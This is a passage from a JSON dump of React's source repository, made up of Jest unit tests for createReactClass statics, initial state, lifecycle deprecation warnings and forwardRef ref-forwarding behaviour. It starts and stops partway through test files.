shouldn\\'t be on the \"statics\" key. Define ' +\n        'it as an instance property instead; it will still be accessible on ' +\n        'the constructor.',\n    );\n  });\n\n  // TODO: Consider actually moving these to statics or drop this unit test.\n  // eslint-disable-next-line jest/no-disabled-tests\n  it.skip('should warn when using deprecated non-static spec keys', () => {\n    createReactClass({\n      mixins: [{}],\n      propTypes: {\n        foo: PropTypes.string,\n      },\n      contextTypes: {\n        foo: PropTypes.string,\n      },\n      childContextTypes: {\n        foo: PropTypes.string,\n      },\n      render: function () {\n        return <div />;\n      },\n    });\n    assertConsoleErrorDev([\n      '`mixins` is now a static property and should ' +\n        'be defined inside \"statics\".',\n      '`propTypes` is now a static property and should ' +\n        'be defined inside \"statics\".',\n      '`contextTypes` is now a static property and ' +\n        'should be defined inside \"statics\".',\n      '`childContextTypes` is now a static property and ' +\n        'should be defined inside \"statics\".',\n    ]);\n  });\n\n  it('should support statics', async () => {\n    const Component = createReactClass({\n      statics: {\n        abc: 'def',\n        def: 0,\n        ghi: null,\n        jkl: 'mno',\n        pqr: function () {\n          return this;\n        },\n      },\n\n      render: function () {\n        return <span />;\n      },\n    });\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    let instance;\n    await act(() => {\n      root.render(<Component ref={current => (instance = current)} />);\n    });\n\n    expect(instance.constructor.abc).toBe('def');\n    expect(Component.abc).toBe('def');\n    expect(instance.constructor.def).toBe(0);\n    expect(Component.def).toBe(0);\n    expect(instance.constructor.ghi).toBe(null);\n    expect(Component.ghi).toBe(null);\n    expect(instance.constructor.jkl).toBe('mno');\n    expect(Component.jkl).toBe('mno');\n    expect(instance.constructor.pqr()).toBe(Component);\n    expect(Component.pqr()).toBe(Component);\n  });\n\n  it('should work with object getInitialState() return values', async () => {\n    const Component = createReactClass({\n      getInitialState: function () {\n        return {\n          occupation: 'clown',\n        };\n      },\n      render: function () {\n        return <span />;\n      },\n    });\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    let instance;\n    await act(() => {\n      root.render(<Component ref={current => (instance = current)} />);\n    });\n\n    expect(instance.state.occupation).toEqual('clown');\n  });\n\n  it('should work with getDerivedStateFromProps() return values', async () => {\n    const Component = createReactClass({\n      getInitialState() {\n        return {};\n      },\n      render: function () {\n        return <span />;\n      },\n    });\n    Component.getDerivedStateFromProps = () => {\n      return {occupation: 'clown'};\n    };\n    let instance;\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Component ref={current => (instance = current)} />);\n    });\n    expect(instance.state.occupation).toEqual('clown');\n  });\n\n  // @gate !disableLegacyContext\n  it('renders based on context getInitialState', async () => {\n    const Foo = createReactClass({\n      contextTypes: {\n        className: PropTypes.string,\n      },\n      getInitialState() {\n        return {className: this.context.className};\n      },\n      render() {\n        return <span className={this.state.className} />;\n      },\n    });\n\n    const Outer = createReactClass({\n      childContextTypes: {\n        className: PropTypes.string,\n      },\n      getChildContext() {\n        return {className: 'foo'};\n      },\n      render() {\n        return <Foo />;\n      },\n    });\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Outer />);\n    });\n    assertConsoleErrorDev([\n      'Component uses the legacy childContextTypes API which will soon be removed. ' +\n        'Use React.createContext() instead. (https://react.dev/link/legacy-context)',\n      'Component uses the legacy contextTypes API which will soon be removed. ' +\n        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)' +\n        '\\n    in ReactClassComponent (at **)',\n    ]);\n    expect(container.firstChild.className).toBe('foo');\n  });\n\n  it('should throw with non-object getInitialState() return values', async () => {\n    // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n    for (const state of [['an array'], 'a string', 1234]) {\n      const Component = createReactClass({\n        getInitialState: function () {\n          return state;\n        },\n        render: function () {\n          return <span />;\n        },\n      });\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await expect(\n        act(() => {\n          root.render(<Component />);\n        }),\n      ).rejects.toThrowError(\n        'Component.getInitialState(): must return an object or null',\n      );\n    }\n  });\n\n  it('should work with a null getInitialState() return value', async () => {\n    const Component = createReactClass({\n      getInitialState: function () {\n        return null;\n      },\n      render: function () {\n        return <span />;\n      },\n    });\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await expect(\n      act(() => {\n        root.render(<Component />);\n      }),\n    ).resolves.not.toThrow();\n  });\n\n  it('should throw when using legacy factories', () => {\n    const Component = createReactClass({\n      render() {\n        return <div />;\n      },\n    });\n\n    expect(() => Component()).toThrow();\n    assertConsoleErrorDev([\n      'Warning: Something is calling a React component directly. Use a ' +\n        'factory or JSX instead. See: https://fb.me/react-legacyfactory',\n    ]);\n  });\n\n  it('replaceState and callback works', async () => {\n    const ops = [];\n    const Component = createReactClass({\n      getInitialState() {\n        return {step: 0};\n      },\n      render() {\n        ops.push('Render: ' + this.state.step);\n        return <div />;\n      },\n    });\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    let instance;\n    await act(() => {\n      root.render(<Component ref={current => (instance = current)} />);\n    });\n\n    await act(() => {\n      instance.replaceState({step: 1}, () => {\n        ops.push('Callback: ' + instance.state.step);\n      });\n    });\n\n    expect(ops).toEqual(['Render: 0', 'Render: 1', 'Callback: 1']);\n  });\n\n  it('getDerivedStateFromProps updates state when props change', async () => {\n    const Component = createReactClass({\n      getInitialState() {\n        return {\n          count: 1,\n        };\n      },\n      render() {\n        return <div>count:{this.state.count}</div>;\n      },\n    });\n    Component.getDerivedStateFromProps = (nextProps, prevState) => ({\n      count: prevState.count + nextProps.incrementBy,\n    });\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <div>\n          <Component incrementBy={0} />\n        </div>,\n      );\n    });\n    expect(container.firstChild.textContent).toEqual('count:1');\n    await act(() => {\n      root.render(\n        <div>\n          <Component incrementBy={2} />\n        </div>,\n      );\n    });\n    expect(container.firstChild.textContent).toEqual('count:3');\n  });\n\n  it('should support the new static getDerivedStateFromProps method', async () => {\n    let instance;\n    const Component = createReactClass({\n      statics: {\n        getDerivedStateFromProps: function () {\n          return {foo: 'bar'};\n        },\n      },\n\n      getInitialState() {\n        return {};\n      },\n\n      render: function () {\n        instance = this;\n        return null;\n      },\n    });\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<Component />);\n    });\n    expect(instance.state.foo).toBe('bar');\n  });\n\n  it('warns if getDerivedStateFromProps is not static', async () => {\n    const Foo = createReactClass({\n      displayName: 'Foo',\n      getDerivedStateFromProps() {\n        return {};\n      },\n      render() {\n        return <div />;\n      },\n    });\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<Foo foo=\"foo\" />);\n    });\n    assertConsoleErrorDev([\n      'Foo: getDerivedStateFromProps() is defined as an instance method ' +\n        'and will be ignored. Instead, declare it as a static method.\\n' +\n        '    in Foo (at **)',\n    ]);\n  });\n\n  it('warns if getDerivedStateFromError is not static', async () => {\n    const Foo = createReactClass({\n      displayName: 'Foo',\n      getDerivedStateFromError() {\n        return {};\n      },\n      render() {\n        return <div />;\n      },\n    });\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<Foo foo=\"foo\" />);\n    });\n    assertConsoleErrorDev([\n      'Foo: getDerivedStateFromError() is defined as an instance method ' +\n        'and will be ignored. Instead, declare it as a static method.\\n' +\n        '    in Foo (at **)',\n    ]);\n  });\n\n  it('warns if getSnapshotBeforeUpdate is static', async () => {\n    const Foo = createReactClass({\n      displayName: 'Foo',\n      statics: {\n        getSnapshotBeforeUpdate: function () {\n          return null;\n        },\n      },\n      render() {\n        return <div />;\n      },\n    });\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<Foo foo=\"foo\" />);\n    });\n    assertConsoleErrorDev([\n      'Foo: getSnapshotBeforeUpdate() is defined as a static method ' +\n        'and will be ignored. Instead, declare it as an instance method.\\n' +\n        '    in Foo (at **)',\n    ]);\n  });\n\n  it('should warn if state is not properly initialized before getDerivedStateFromProps', async () => {\n    const Component = createReactClass({\n      displayName: 'Component',\n      statics: {\n        getDerivedStateFromProps: function () {\n          return null;\n        },\n      },\n      render: function () {\n        return null;\n      },\n    });\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<Component />);\n    });\n    assertConsoleErrorDev([\n      '`Component` uses `getDerivedStateFromProps` but its initial state is ' +\n        'null. This is not recommended. Instead, define the initial state by ' +\n        'assigning an object to `this.state` in the constructor of `Component`. ' +\n        'This ensures that `getDerivedStateFromProps` arguments have a consistent shape.\\n' +\n        '    in Component (at **)',\n    ]);\n  });\n\n  it('should not invoke deprecated lifecycles (cWM/cWRP/cWU) if new static gDSFP is present', async () => {\n    const Component = createReactClass({\n      statics: {\n        getDerivedStateFromProps: function () {\n          return null;\n        },\n      },\n      componentWillMount: function () {\n        throw Error('unexpected');\n      },\n      componentWillReceiveProps: function () {\n        throw Error('unexpected');\n      },\n      componentWillUpdate: function () {\n        throw Error('unexpected');\n      },\n      getInitialState: function () {\n        return {};\n      },\n      render: function () {\n        return null;\n      },\n    });\n    Component.displayName = 'Component';\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<Component />);\n    });\n    assertConsoleErrorDev([\n      'Unsafe legacy lifecycles will not be called for components using new component APIs.\\n\\n' +\n        'Component uses getDerivedStateFromProps() but also contains the following legacy lifecycles:\\n' +\n        '  componentWillMount\\n' +\n        '  componentWillReceiveProps\\n' +\n        '  componentWillUpdate\\n\\n' +\n        'The above lifecycles should be removed. Learn more about this warning here:\\n' +\n        'https://react.dev/link/unsafe-component-lifecycles\\n' +\n        '    in Component (at **)',\n    ]);\n    assertConsoleWarnDev([\n      'componentWillMount has been renamed, and is not recommended for use. ' +\n        'See https://react.dev/link/unsafe-component-lifecycles for details.\\n\\n' +\n        '* Move code with side effects to componentDidMount, and set initial state in the constructor.\\n' +\n        '* Rename componentWillMount to UNSAFE_componentWillMount to suppress ' +\n        'this warning in non-strict mode. In React 18.x, only the UNSAFE_ name will work. ' +\n        'To rename all deprecated lifecycles to their new names, you can run ' +\n        '`npx react-codemod rename-unsafe-lifecycles` in your project source folder.\\n' +\n        '\\nPlease update the following components: Component',\n      'componentWillReceiveProps has been renamed, and is not recommended for use. ' +\n        'See https://react.dev/link/unsafe-component-lifecycles for details.\\n\\n' +\n        '* Move data fetching code or side effects to componentDidUpdate.\\n' +\n        \"* If you're updating state whenever props change, refactor your \" +\n        'code to use memoization techniques or move it to ' +\n        'static getDerivedStateFromProps. Learn more at: https://react.dev/link/derived-state\\n' +\n        '* Rename componentWillReceiveProps to UNSAFE_componentWillReceiveProps to suppress ' +\n        'this warning in non-strict mode. In React 18.x, only the UNSAFE_ name will work. ' +\n        'To rename all deprecated lifecycles to their new names, you can run ' +\n        '`npx react-codemod rename-unsafe-lifecycles` in your project source folder.\\n' +\n        '\\nPlease update the following components: Component',\n      'componentWillUpdate has been renamed, and is not recommended for use. ' +\n        'See https://react.dev/link/unsafe-component-lifecycles for details.\\n\\n' +\n        '* Move data fetching code or side effects to componentDidUpdate.\\n' +\n        '* Rename componentWillUpdate to UNSAFE_componentWillUpdate to suppress ' +\n        'this warning in non-strict mode. In React 18.x, only the UNSAFE_ name will work. ' +\n        'To rename all deprecated lifecycles to their new names, you can run ' +\n        '`npx react-codemod rename-unsafe-lifecycles` in your project source folder.\\n' +\n        '\\nPlease update the following components: Component',\n    ]);\n    await act(() => {\n      root.render(<Component foo={1} />);\n    });\n  });\n\n  it('should not invoke deprecated lifecycles (cWM/cWRP/cWU) if new getSnapshotBeforeUpdate is present', async () => {\n    const Component = createReactClass({\n      getSnapshotBeforeUpdate: function () {\n        return null;\n      },\n      componentWillMount: function () {\n        throw Error('unexpected');\n      },\n      componentWillReceiveProps: function () {\n        throw Error('unexpected');\n      },\n      componentWillUpdate: function () {\n        throw Error('unexpected');\n      },\n      componentDidUpdate: function () {},\n      render: function () {\n        return null;\n      },\n    });\n    Component.displayName = 'Component';\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    await act(() => {\n      root.render(<Component />);\n    });\n    assertConsoleErrorDev([\n      'Unsafe legacy lifecycles will not be called for components using new component APIs.\\n\\n' +\n        'Component uses getSnapshotBeforeUpdate() but also contains the following legacy lifecycles:\\n' +\n        '  componentWillMount\\n' +\n        '  componentWillReceiveProps\\n' +\n        '  componentWillUpdate\\n\\n' +\n        'The above lifecycles should be removed. Learn more about this warning here:\\n' +\n        'https://react.dev/link/unsafe-component-lifecycles\\n' +\n        '    in Component (at **)',\n    ]);\n    assertConsoleWarnDev([\n      'componentWillMount has been renamed, and is not recommended for use. ' +\n        'See https://react.dev/link/unsafe-component-lifecycles for details.\\n\\n' +\n        '* Move code with side effects to componentDidMount, and set initial state in the constructor.\\n' +\n        '* Rename componentWillMount to UNSAFE_componentWillMount to suppress ' +\n        'this warning in non-strict mode. In React 18.x, only the UNSAFE_ name will work. ' +\n        'To rename all deprecated lifecycles to their new names, you can run ' +\n        '`npx react-codemod rename-unsafe-lifecycles` in your project source folder.\\n' +\n        '\\nPlease update the following components: Component',\n      'componentWillReceiveProps has been renamed, and is not recommended for use. ' +\n        'See https://react.dev/link/unsafe-component-lifecycles for details.\\n\\n' +\n        '* Move data fetching code or side effects to componentDidUpdate.\\n' +\n        \"* If you're updating state whenever props change, refactor your \" +\n        'code to use memoization techniques or move it to ' +\n        'static getDerivedStateFromProps. Learn more at: https://react.dev/link/derived-state\\n' +\n        '* Rename componentWillReceiveProps to UNSAFE_componentWillReceiveProps to suppress ' +\n        'this warning in non-strict mode. In React 18.x, only the UNSAFE_ name will work. ' +\n        'To rename all deprecated lifecycles to their new names, you can run ' +\n        '`npx react-codemod rename-unsafe-lifecycles` in your project source folder.\\n' +\n        '\\nPlease update the following components: Component',\n      'componentWillUpdate has been renamed, and is not recommended for use. ' +\n        'See https://react.dev/link/unsafe-component-lifecycles for details.\\n\\n' +\n        '* Move data fetching code or side effects to componentDidUpdate.\\n' +\n        '* Rename componentWillUpdate to UNSAFE_componentWillUpdate to suppress ' +\n        'this warning in non-strict mode. In React 18.x, only the UNSAFE_ name will work. ' +\n        'To rename all deprecated lifecycles to their new names, you can run ' +\n        '`npx react-codemod rename-unsafe-lifecycles` in your project source folder.\\n' +\n        '\\nPlease update the following components: Component',\n    ]);\n    await act(() => {\n      const root2 = ReactDOMClient.createRoot(document.createElement('div'));\n      root2.render(<Component foo={1} />);\n    });\n  });\n\n  it('should invoke both deprecated and new lifecycles if both are present', async () => {\n    const log = [];\n\n    const Component = createReactClass({\n      mixins: [\n        {\n          componentWillMount: function () {\n            log.push('componentWillMount');\n          },\n          componentWillReceiveProps: function () {\n            log.push('componentWillReceiveProps');\n          },\n          componentWillUpdate: function () {\n            log.push('componentWillUpdate');\n          },\n        },\n      ],\n      UNSAFE_componentWillMount: function () {\n        log.push('UNSAFE_componentWillMount');\n      },\n      UNSAFE_componentWillReceiveProps: function () {\n        log.push('UNSAFE_componentWillReceiveProps');\n      },\n      UNSAFE_componentWillUpdate: function () {\n        log.push('UNSAFE_componentWillUpdate');\n      },\n      render: function () {\n        return null;\n      },\n    });\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n\n    await act(() => {\n      root.render(<Component foo=\"bar\" />);\n    });\n    assertConsoleWarnDev([\n      'componentWillMount has been renamed, and is not recommended for use. ' +\n        'See https://react.dev/link/unsafe-component-lifecycles for details.\\n\\n' +\n        '* Move code with side effects to componentDidMount, and set initial state in the constructor.\\n' +\n        '* Rename componentWillMount to UNSAFE_componentWillMount to suppress ' +\n        'this warning in non-strict mode. In React 18.x, only the UNSAFE_ name will work. ' +\n        'To rename all deprecated lifecycles to their new names, you can run ' +\n        '`npx react-codemod rename-unsafe-lifecycles` in your project source folder.\\n' +\n        '\\nPlease update the following components: Component',\n      'componentWillReceiveProps has been renamed, and is not recommended for use. ' +\n        'See https://react.dev/link/unsafe-component-lifecycles for details.\\n\\n' +\n        '* Move data fetching code or side effects to componentDidUpdate.\\n' +\n        \"* If you're updating state whenever props change, refactor your \" +\n        'code to use memoization techniques or move it to ' +\n        'static getDerivedStateFromProps. Learn more at: https://react.dev/link/derived-state\\n' +\n        '* Rename componentWillReceiveProps to UNSAFE_componentWillReceiveProps to suppress ' +\n        'this warning in non-strict mode. In React 18.x, only the UNSAFE_ name will work. ' +\n        'To rename all deprecated lifecycles to their new names, you can run ' +\n        '`npx react-codemod rename-unsafe-lifecycles` in your project source folder.\\n' +\n        '\\nPlease update the following components: Component',\n      'componentWillUpdate has been renamed, and is not recommended for use. ' +\n        'See https://react.dev/link/unsafe-component-lifecycles for details.\\n\\n' +\n        '* Move data fetching code or side effects to componentDidUpdate.\\n' +\n        '* Rename componentWillUpdate to UNSAFE_componentWillUpdate to suppress ' +\n        'this warning in non-strict mode. In React 18.x, only the UNSAFE_ name will work. ' +\n        'To rename all deprecated lifecycles to their new names, you can run ' +\n        '`npx react-codemod rename-unsafe-lifecycles` in your project source folder.\\n' +\n        '\\nPlease update the following components: Component',\n    ]);\n    expect(log).toEqual(['componentWillMount', 'UNSAFE_componentWillMount']);\n\n    log.length = 0;\n\n    await act(() => {\n      root.render(<Component foo=\"baz\" />);\n    });\n    expect(log).toEqual([\n      'componentWillReceiveProps',\n      'UNSAFE_componentWillReceiveProps',\n      'componentWillUpdate',\n      'UNSAFE_componentWillUpdate',\n    ]);\n  });\n\n  it('isMounted works', async () => {\n    const ops = [];\n    let instance;\n    const Component = createReactClass({\n      displayName: 'MyComponent',\n      mixins: [\n        {\n          UNSAFE_componentWillMount() {\n            this.log('mixin.componentWillMount');\n          },\n          componentDidMount() {\n            this.log('mixin.componentDidMount');\n          },\n          UNSAFE_componentWillUpdate() {\n            this.log('mixin.componentWillUpdate');\n          },\n          componentDidUpdate() {\n            this.log('mixin.componentDidUpdate');\n          },\n          componentWillUnmount() {\n            this.log('mixin.componentWillUnmount');\n          },\n        },\n      ],\n      log(name) {\n        ops.push(`${name}: ${this.isMounted()}`);\n      },\n      getInitialState() {\n        this.log('getInitialState');\n        return {};\n      },\n      UNSAFE_componentWillMount() {\n        this.log('componentWillMount');\n      },\n      componentDidMount() {\n        this.log('componentDidMount');\n      },\n      UNSAFE_componentWillUpdate() {\n        this.log('componentWillUpdate');\n      },\n      componentDidUpdate() {\n        this.log('componentDidUpdate');\n      },\n      componentWillUnmount() {\n        this.log('componentWillUnmount');\n      },\n      render() {\n        instance = this;\n        this.log('render');\n        return <div />;\n      },\n    });\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n\n    await act(() => {\n      root.render(<Component />);\n    });\n    assertConsoleErrorDev(\n      [\n        'Warning: MyComponent: isMounted is deprecated. Instead, make sure to ' +\n          'clean up subscriptions and pending requests in componentWillUnmount ' +\n          'to prevent memory leaks.\\n' +\n          '    in MyComponent (at **)',\n      ],\n      // This now has a component stack even though it's part of a third-party library.\n    );\n\n    // Dedupe\n\n    await act(() => {\n      root.render(<Component />);\n    });\n\n    await act(() => {\n      root.unmount();\n    });\n    instance.log('after unmount');\n    expect(ops).toEqual([\n      'getInitialState: false',\n      'mixin.componentWillMount: false',\n      'componentWillMount: false',\n      'render: false',\n      'mixin.componentDidMount: true',\n      'componentDidMount: true',\n      'mixin.componentWillUpdate: true',\n      'componentWillUpdate: true',\n      'render: true',\n      'mixin.componentDidUpdate: true',\n      'componentDidUpdate: true',\n      'mixin.componentWillUnmount: true',\n      'componentWillUnmount: true',\n      'after unmount: false',\n    ]);\n  });\n});\n"
  },
  {
    "path": "packages/react/src/__tests__/forwardRef-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\ndescribe('forwardRef', () => {\n  let React;\n  let ReactNoop;\n  let Scheduler;\n  let waitForAll;\n\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n  });\n\n  it('should work without a ref to be forwarded', async () => {\n    class Child extends React.Component {\n      render() {\n        Scheduler.log(this.props.value);\n        return null;\n      }\n    }\n\n    function Wrapper(props) {\n      return <Child {...props} ref={props.forwardedRef} />;\n    }\n\n    const RefForwardingComponent = React.forwardRef((props, ref) => (\n      <Wrapper {...props} forwardedRef={ref} />\n    ));\n\n    ReactNoop.render(<RefForwardingComponent value={123} />);\n    await waitForAll([123]);\n  });\n\n  it('should forward a ref for a single child', async () => {\n    class Child extends React.Component {\n      render() {\n        Scheduler.log(this.props.value);\n        return null;\n      }\n    }\n\n    function Wrapper(props) {\n      return <Child {...props} ref={props.forwardedRef} />;\n    }\n\n    const RefForwardingComponent = React.forwardRef((props, ref) => (\n      <Wrapper {...props} forwardedRef={ref} />\n    ));\n\n    const ref = React.createRef();\n\n    ReactNoop.render(<RefForwardingComponent ref={ref} value={123} />);\n    await waitForAll([123]);\n    expect(ref.current instanceof Child).toBe(true);\n  });\n\n  it('should forward a ref for multiple children', async () => {\n    class Child extends React.Component {\n      render() {\n        Scheduler.log(this.props.value);\n        return null;\n      }\n    }\n\n    function Wrapper(props) {\n      return <Child {...props} ref={props.forwardedRef} />;\n    }\n\n    const RefForwardingComponent = React.forwardRef((props, ref) => (\n      <Wrapper {...props} forwardedRef={ref} />\n    ));\n\n    const ref = React.createRef();\n\n    ReactNoop.render(\n      <div>\n        <div />\n        <RefForwardingComponent ref={ref} value={123} />\n        <div />\n      </div>,\n    );\n    await waitForAll([123]);\n    expect(ref.current instanceof Child).toBe(true);\n  });\n\n  it('should maintain child instance and ref through updates', async () => {\n    class Child extends React.Component {\n      constructor(props) {\n        super(props);\n      }\n      render() {\n        Scheduler.log(this.props.value);\n        return null;\n      }\n    }\n\n    function Wrapper(props) {\n      return <Child {...props} ref={props.forwardedRef} />;\n    }\n\n    const RefForwardingComponent = React.forwardRef((props, ref) => (\n      <Wrapper {...props} forwardedRef={ref} />\n    ));\n\n    let setRefCount = 0;\n    let ref;\n\n    const setRef = r => {\n      setRefCount++;\n      ref = r;\n    };\n\n    ReactNoop.render(<RefForwardingComponent ref={setRef} value={123} />);\n    await waitForAll([123]);\n    expect(ref instanceof Child).toBe(true);\n    expect(setRefCount).toBe(1);\n    ReactNoop.render(<RefForwardingComponent ref={setRef} value={456} />);\n    await waitForAll([456]);\n    expect(ref instanceof Child).toBe(true);\n    expect(setRefCount).toBe(1);\n  });\n\n  it('should not break lifecycle error handling', async () => {\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      componentDidCatch(error) {\n        Scheduler.log('ErrorBoundary.componentDidCatch');\n        this.setState({error});\n      }\n      render() {\n        if (this.state.error) {\n          Scheduler.log('ErrorBoundary.render: catch');\n          return null;\n        }\n        Scheduler.log('ErrorBoundary.render: try');\n        return this.props.children;\n      }\n    }\n\n    class BadRender extends React.Component {\n      render() {\n        Scheduler.log('BadRender throw');\n        throw new Error('oops!');\n      }\n    }\n\n    function Wrapper(props) {\n      const forwardedRef = props.forwardedRef;\n      Scheduler.log('Wrapper');\n      return <BadRender {...props} ref={forwardedRef} />;\n    }\n\n    const RefForwardingComponent = React.forwardRef((props, ref) => (\n      <Wrapper {...props} forwardedRef={ref} />\n    ));\n\n    const ref = React.createRef();\n\n    ReactNoop.render(\n      <ErrorBoundary>\n        <RefForwardingComponent ref={ref} />\n      </ErrorBoundary>,\n    );\n    await waitForAll([\n      'ErrorBoundary.render: try',\n      'Wrapper',\n      'BadRender throw',\n\n      // React retries one more time\n      'ErrorBoundary.render: try',\n      'Wrapper',\n      'BadRender throw',\n\n      // Errored again on retry. Now handle it.\n      'ErrorBoundary.componentDidCatch',\n      'ErrorBoundary.render: catch',\n    ]);\n    expect(ref.current).toBe(null);\n  });\n\n  it('should not re-run the render callback on a deep setState', async () => {\n    let inst;\n\n    class Inner extends React.Component {\n      render() {\n        Scheduler.log('Inner');\n        inst = this;\n        return <div ref={this.props.forwardedRef} />;\n      }\n    }\n\n    function Middle(props) {\n      Scheduler.log('Middle');\n      return <Inner {...props} />;\n    }\n\n    const Forward = React.forwardRef((props, ref) => {\n      Scheduler.log('Forward');\n      return <Middle {...props} forwardedRef={ref} />;\n    });\n\n    function App() {\n      Scheduler.log('App');\n      return <Forward />;\n    }\n\n    ReactNoop.render(<App />);\n    await waitForAll(['App', 'Forward', 'Middle', 'Inner']);\n\n    inst.setState({});\n    await waitForAll(['Inner']);\n  });\n});\n"
  },
  {
    "path": "packages/react/src/__tests__/forwardRef-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\ndescribe('forwardRef', () => {\n  let React;\n  let ReactNoop;\n  let waitForAll;\n  let assertConsoleErrorDev;\n\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;\n  });\n\n  it('should update refs when switching between children', async () => {\n    function FunctionComponent({forwardedRef, setRefOnDiv}) {\n      return (\n        <section>\n          <div ref={setRefOnDiv ? forwardedRef : null}>First</div>\n          <span ref={setRefOnDiv ? null : forwardedRef}>Second</span>\n        </section>\n      );\n    }\n\n    const RefForwardingComponent = React.forwardRef((props, ref) => (\n      <FunctionComponent {...props} forwardedRef={ref} />\n    ));\n\n    const ref = React.createRef();\n\n    ReactNoop.render(<RefForwardingComponent ref={ref} setRefOnDiv={true} />);\n    await waitForAll([]);\n    expect(ref.current.type).toBe('div');\n\n    ReactNoop.render(<RefForwardingComponent ref={ref} setRefOnDiv={false} />);\n    await waitForAll([]);\n    expect(ref.current.type).toBe('span');\n  });\n\n  it('should support rendering null', async () => {\n    const RefForwardingComponent = React.forwardRef((props, ref) => null);\n\n    const ref = React.createRef();\n\n    ReactNoop.render(<RefForwardingComponent ref={ref} />);\n    await waitForAll([]);\n    expect(ref.current).toBe(null);\n  });\n\n  it('should support rendering null for multiple children', async () => {\n    const RefForwardingComponent = React.forwardRef((props, ref) => null);\n\n    const ref = React.createRef();\n\n    ReactNoop.render(\n      <div>\n        <div />\n        <RefForwardingComponent ref={ref} />\n        <div />\n      </div>,\n    );\n    await waitForAll([]);\n    expect(ref.current).toBe(null);\n  });\n\n  it('should warn if not provided a callback during creation', () => {\n    React.forwardRef(undefined);\n    assertConsoleErrorDev([\n      'forwardRef requires a render function but was given undefined.',\n    ]);\n\n    React.forwardRef(null);\n    assertConsoleErrorDev([\n      'forwardRef requires a render function but was given null.',\n    ]);\n\n    React.forwardRef('foo');\n    assertConsoleErrorDev([\n      'forwardRef requires a render function but was given string.',\n    ]);\n  });\n\n  it('should warn if no render function is provided', () => {\n    React.forwardRef();\n    assertConsoleErrorDev([\n      'forwardRef requires a render function but was given undefined.',\n    ]);\n  });\n\n  it('should warn if the render function provided has defaultProps attributes', () => {\n    function renderWithDefaultProps(props, ref) {\n      return null;\n    }\n    renderWithDefaultProps.defaultProps = {};\n\n    React.forwardRef(renderWithDefaultProps);\n    assertConsoleErrorDev([\n      'forwardRef render functions do not support defaultProps. ' +\n        'Did you accidentally pass a React component?',\n    ]);\n  });\n\n  it('should not warn if the render function provided does not use any parameter', () => {\n    React.forwardRef(function arityOfZero() {\n      return <div ref={arguments[1]} />;\n    });\n  });\n\n  it('should warn if the render function provided does not use the forwarded ref parameter', () => {\n    const arityOfOne = props => <div {...props} />;\n\n    React.forwardRef(arityOfOne);\n    assertConsoleErrorDev([\n      'forwardRef render functions accept exactly two parameters: props and ref. ' +\n        'Did you forget to use the ref parameter?',\n    ]);\n  });\n\n  it('should not warn if the render function provided use exactly two parameters', () => {\n    const arityOfTwo = (props, ref) => <div {...props} ref={ref} />;\n    React.forwardRef(arityOfTwo);\n  });\n\n  it('should warn if the render function provided expects to use more than two parameters', () => {\n    const arityOfThree = (props, ref, x) => <div {...props} ref={ref} x={x} />;\n\n    React.forwardRef(arityOfThree);\n    assertConsoleErrorDev([\n      'forwardRef render functions accept exactly two parameters: props and ref. ' +\n        'Any additional parameter will be undefined.',\n    ]);\n  });\n\n  it('should skip forwardRef in the stack if neither displayName nor name are present', async () => {\n    const RefForwardingComponent = React.forwardRef(function (props, ref) {\n      return [<span />];\n    });\n    ReactNoop.render(\n      <p>\n        <RefForwardingComponent />\n      </p>,\n    );\n    await waitForAll([]);\n    assertConsoleErrorDev([\n      'Each child in a list should have a unique \"key\" prop.' +\n        '\\n\\nCheck the top-level render call using <ForwardRef>. It was passed a child from ForwardRef. ' +\n        'See https://react.dev/link/warning-keys for more information.\\n' +\n        '    in span (at **)\\n' +\n        '    in **/forwardRef-test.js:**:** (at **)',\n    ]);\n  });\n\n  it('should use the inner function name for the stack', async () => {\n    const RefForwardingComponent = React.forwardRef(function Inner(props, ref) {\n      return [<span />];\n    });\n    ReactNoop.render(\n      <p>\n        <RefForwardingComponent />\n      </p>,\n    );\n\n    await waitForAll([]);\n    assertConsoleErrorDev([\n      'Each child in a list should have a unique \"key\" prop.' +\n        '\\n\\nCheck the top-level render call using <ForwardRef(Inner)>. It was passed a child from ForwardRef(Inner). ' +\n        'See https://react.dev/link/warning-keys for more information.\\n' +\n        '    in span (at 